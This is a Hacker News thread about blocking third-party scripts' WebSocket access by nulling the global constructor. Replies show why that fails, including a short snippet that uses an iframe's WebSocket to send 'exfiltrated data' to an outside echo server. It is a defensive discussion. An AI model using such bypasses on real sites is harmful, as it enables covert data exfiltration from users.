Hacker News new | ask | show | jobs
by austincheney 2222 days ago
I just tested an approach to deny access to WebSockets in the browser. This only applies if the JavaScript and the page comes from a location you both control and your goal is to limit access from third party scripts and you don't have access to the page's server to add a Content Security Policy (CSP) rule restricting web socket addresses/ports to specified rules.

TypeScript code:

    const sock:WebSocketLocal = (function local_socket():WebSocketLocal {
        // A minor security circumvention.
        const socket:WebSocketLocal = <WebSocketLocal>WebSocket;
        WebSocket = null;
        return socket;
    }());
TypeScript definitions (index.d.ts):

    interface WebSocketLocal extends WebSocket {
        new (address:string): WebSocket;
    }
If the 'sock' variable is not globally scoped it cannot be globally accessed. This means third party scripts must know the name of the variable and be able to access the scope where the variable is declared, because the global variable name "WebSockets" is reassigned to null and any attempts to access it will break those third party scripts.
1 comments

this is trivially defeated by a script that enumerates globals looking for something that extends or implements WebSocket
The `sock` variable wouldn't be global in this case though, so there's nothing to look for.

However there are still so many different ways to defeat this (e.g. creating a web worker, creating a new window that handles the WebSocket and posting messages to it, etc.) that it's basically pointless to try.

If you are opening a new window you are pretty limited. Clearly you are alerting the user that you are spawning new tabs or forcing a new popup if you provide a width or height dimension to your window.open method. Yes, I am aware of the popunder by blurring the new window the moment its created, but that is still not very clever. Even still modern browsers block popups by default, so you have to convince the user to crawl into their browser settings and turn that off, which seems like a hard sell. Then the window.open allows you to specify an address, but not page contents. If you open the same address as the current page the global WebSocket name is still null. You can open to a malicious location though, but that is a good way to get the primary domain blacklisted. You can open to about:blank, which Firefox sends restricted messaging about, but you would have to inject code into that blank page.

Perhaps there are other ways to spawn new windows with greater access control that I am not aware and don't require access to the global window object. The global WebSocket is really window.WebSocket so anything that is reliant upon the window object or inherited from the window object will continue to see that window.WebSocket is null.

The window was just one example (obviously not the most optimal method), there are many other ways you could get around it.

My point is `WebSocket = null` won't stop someone who is already dedicated enough to inject a script onto your site to steal people's webpack hot reload error messages. Really a CSP with `connect-src` is the only way to fully prevent this.

Here's one very simple way to get around your method:

    WebSocket = null
    
    let el = document.createElement("iframe")
    document.body.append(el);
    
    let ws = new el.contentWindow.WebSocket("wss://echo.websocket.org")
    ws.onopen = () => ws.send("my exfiltrated data")
Likewise that is solved for just as trivially by enumerating all globals and replacing any mention of WebSocket with your scoped variable. Of course though if all your code files are ECMA modules the only globals are those provided by the browser and third party scripts.